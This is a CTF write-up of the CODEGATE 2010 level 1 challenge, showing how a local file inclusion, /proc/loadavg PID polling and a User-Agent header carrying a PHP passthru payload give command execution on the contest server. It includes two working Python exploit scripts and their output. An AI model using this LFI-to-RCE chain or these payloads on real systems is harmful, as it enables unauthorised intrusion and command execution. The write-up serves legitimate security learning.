CODEGATE2010 CTF Level 1

This weekend I played the codegate2010 capture the flag pre-quals located at http://ctf.codegate.org .

First a big thx to the organisators and the challenge contributors, it was an excellent ctf even tough I'd have loved to have 4-6 hours more time :)

The first challenge had following description:

beist likes drinking.
feel free to give a shot to him when you meet him.
this challenge doesn't need to give many hints to you guys.
just get to http://ctf7.codegate.org/31337/

YOU NEED TO GET A SHELL AND SEE A FILE THAT CONTAINS A FLAG OF THIS CHALLENGE. GOOD LUCK.
While looking at the website I played around with the hello.cgi, to see what I can achieve.

when requesting for example:

  • http://ctf7.codegate.org/cgi-bin/hello.cgi?2147483647

the result is:

You need to pay -3000 KRW, thank you. You drank 2147483647 

but after maybe 30 min i gave up on the fact that it would be an integer overflow issue and searched further until I stumbled over this:

  • http://ctf7.codegate.org/31337/index.php?page=../../../bla
  • and we got:

    Warning:  include(./../../../bla) [<a href="http://ctf7.codegate.org/31337/function.include">function.include</a>]: failed to open stream: No such file or directory in /var/www/31337/index.php on line 10
    
    Warning:  include() [<a href="http://ctf7.codegate.org/31337/function.include">function.include</a>]: Failed opening './../../../bla' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/31337/index.php on line <strong>10</strong>

    Nice so we got a local file inclusion vulnerability.

    I wanted to check out the hello.cgi again to see what the logic behind is.

    On ubuntu the default cgi-bin directory is in /usr/lib don't ask me why :)

  • http://ctf7.codegate.org/31337/index.php?page=../../../usr/lib/cgi-bin/hello.cgi
  • After downloading the file it got clear that it's not just reading plain text:

    debian:~# file hello.cgi
    hello.cgi: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically     linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

    I played a bit more with this file and tried to pass integers after integers to see if I can get something out of it, but with no luck.

    After that I focused on the LFI and started looking at /proc/self/environ command execution.

    The problem with that is that /proc/self/environ gave following error:

  • http://ctf7.codegate.org/31337/index.php?page=../../../proc/self/environ
  • Warning:  include(./../../../proc/self/environ) [<a href="http://ctf7.codegate.org/31337/function.include">function.include</a>]: failed to open stream: Permission denied in /var/www/31337/index.php on line 10
    
    Warning:  include() [<a href="http://ctf7.codegate.org/31337/function.include">function.include</a>]: Failed opening './../../../proc/self/environ' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/31337/index.php on line 10

    So we have no permissions to read it. I checked /proc on the debian vm I was using for this ctf and found that /proc/loadavg can be used.

    If we lookup some description about loadavg from redhat:

    This file provides a look at the load average in regard to both the CPU and IO over time, as well as additional data used by "uptime" and other commands. 
    A sample /proc/loadavg file looks similar to the following: 
    0.20 0.18 0.12 1/80 11206
    The first three columns measure CPU and IO utilization of the last one, five, and 10 minute periods. 
    The fourth column shows the number of currently running processes and the total number of processes. 
    The last column displays the last process ID used.
    

    Good with that we can work, so what we need to have a successful exploitation.

  • LFI
  • a way to get pid /proc/loadavg in this case
  • a way to get our request to be executed long enough to catch it with /proc/loadavg
  • an injection client
  • 1.)

    One we have with the index.php?page=[path] page

    2.)

    That we have working as well

    3.)

    That's where the hello.cgi comes in handy, as it does math calculations based on the user input you can let it compute a huge number and it will be executed for a long time so we can use this as our base request.

    4.)

    This can be simply done with either python, curl or even firefox as the injection is done over the User-Agent field.

    Exploitation

    Here's the script to get the environ of the last pid found.

    #!/usr/bin/env python
    import urllib2
    def main():
      # we need to loop until we are successful
      while True:
        # let's get the last pid
        loadavg_url = "http://ctf7.codegate.org/31337/index.php?page=../../../proc/loadavg"
        print "[+] requesting loadavg"
        req = urllib2.Request(loadavg_url)
        res = urllib2.urlopen(req)
        pid_content = res.read()
        loadavgc = pid_content.split(" ")
        pid = int(loadavgc[4])
        print "[+] Last PID is: %d" % pid
        # now we need to get the environ of the pid
        environ_url = "http://ctf7.codegate.org/31337/index.php?page=../../../proc/" + str(pid) + "/environ"
        print "[+] requesting environ"
        print environ_url
        req = urllib2.Request(environ_url)
        res = urllib2.urlopen(req)
        environc = res.read()
        print environc
    if __name__ == "__main__":
      print "-=[ CODEGATE2010 lvl1 - loadavg/environ ]=-"
      main()

    And here's the script which injects the command execution into the hello.cgi request.

    #!/usr/bin/env python
    import urllib2
    import sys
    def main(cmd):
      # we need to send it multiple times until our loadavg/environ script
      # will catch the request
      while True:
       # let's send our malicious request
       hello_url = "http://ctf7.codegate.org/cgi-bin/hello.cgi?122222222222222222222222222222222222222222222222222222222"
       print "[+] requesting hello.cgi"
       req = urllib2.Request(hello_url)
       opener = urllib2.build_opener()
       req.add_header('User-Agent', "<?php passthru('%s');?>" %(cmd))
       data = opener.open(req).read()
       #print data
    if __name__ == "__main__":
      print "-=[ CODEGATE2010 lvl1 - hello.cgi injection ]=-"
      cmd = sys.argv[1]
      main(cmd)

    ps: i know there's no error checking :p

    Result
    Let's run it all together then.

    In console #1 let the first script run:

    debian:~/web4# python monitor_cmd_res.py
    -=[ CODEGATE2010 lvl1 - loadavg/environ ]=-
    [+] requesting loadavg
    [+] Last PID is: 4475
    [+] requesting environ
    http://ctf7.codegate.org/31337/index.php?page=../../../proc/4475/environ
    <br />
    <b>Warning</b>:  include(./../../../proc/4475/environ) [<a href='function.include'>function.include</a>]: failed to open stream: No such file or directory in <b>/var/www/31337/index.php</b> on line <b>10</b><br />
    <br />
    <b>Warning</b>:  include() [<a href='function.include'>function.include</a>]: Failed opening './../../../proc/4475/environ' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in <b>/var/www/31337/index.php</b> on line <b>10</b><br />

    Keep this one running

    In console #2 run the second script:

    debian:~/web4# python run_comman.py "ls -al"
    -=[ CODEGATE2010 lvl1 - hello.cgi injection ]=-
    [+] requesting hello.cgi
    [+] requesting hello.cgi

    And now you should see in the console #1 the results of our command showing up

    [+] requesting loadavg
    [+] Last PID is: 4476
    [+] requesting environ
    http://ctf7.codegate.org/31337/index.php?page=../../../proc/4476/environ
    HTTP_ACCEPT_ENCODING=identityHTTP_HOST=ctf7.codegate.orgHTTP_CONNECTION=closeHTTP_USER_AGENT=total 48
    drwxr-xr-x 3 root root 4096 Mar 13 08:52 .
    drwxr-xr-x 3 root root 4096 Mar 10 16:53 ..
    -rw-r--r-- 1 root root   92 Mar 13 08:10 MUST_GRAB_THIS_KEY_FILE
    -rw-r--r-- 1 root root  400 Mar 10 17:17 beer_list
    -rw-r--r-- 1 root root 1264 Mar 10 17:06 booking.html
    -rw-r--r-- 1 root root   19 Mar 10 17:14 bottom.html
    drwxr-xr-x 2 root root 4096 Mar  9 23:34 images
    -rw-r--r-- 1 root root 1206 Mar 10 17:10 index.html
    -rw-r--r-- 1 root root  217 Mar 13 08:52 index.php
    -rw-r--r-- 1 root root  455 Mar 10 10:51 menu.html
    -rw-r--r-- 1 root root 1271 Mar 10 00:00 party.html
    -rw-r--r-- 1 root root 2247 Mar  9 23:29 style.css
    PATH=/usr/local/bin:/usr/bin:/binSERVER_SIGNATURE=<address>Apache/2.2.12 (Ubuntu) Server at ctf7.codegate.org Port 80</address>
    SERVER_SOFTWARE=Apache/2.2.12 (Ubuntu)SERVER_NAME=ctf7.codegate.orgSERVER_ADDR=222.239.224.231SERVER_PORT=80REMOTE_ADDR=94.194.62.201DOCUMENT_ROOT=/var/wwwSERVER_ADMIN=webmaster@localhostSCRIPT_FILENAME=/usr/lib/cgi-bin/hello.cgiREMOTE_PORT=49923GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETQUERY_STRING=122222222222222222222222222222222222222222222222222222222REQUEST_URI=/cgi-bin/hello.cgi?122222222222222222222222222222222222222222222222222222222SCRIPT_NAME=/cgi-bin/hello.cgi

    And we can clearly see what we need to read:

    -rw-r--r-- 1 root root   92 Mar 13 08:10 MUST_GRAB_THIS_KEY_FILE

    So just changing the command from ls -al to cat MUST_GRAB_THIS_KEY_FILE will do the job.

    and the result is:

    HTTP_USER_AGENT=Congrats! You can go to the auth page. Was it too easy? :)
    FLAG: ################

    © 2015 coma. All rights reserved.
    Disclaimer: There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk.
    In no event shall the author be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.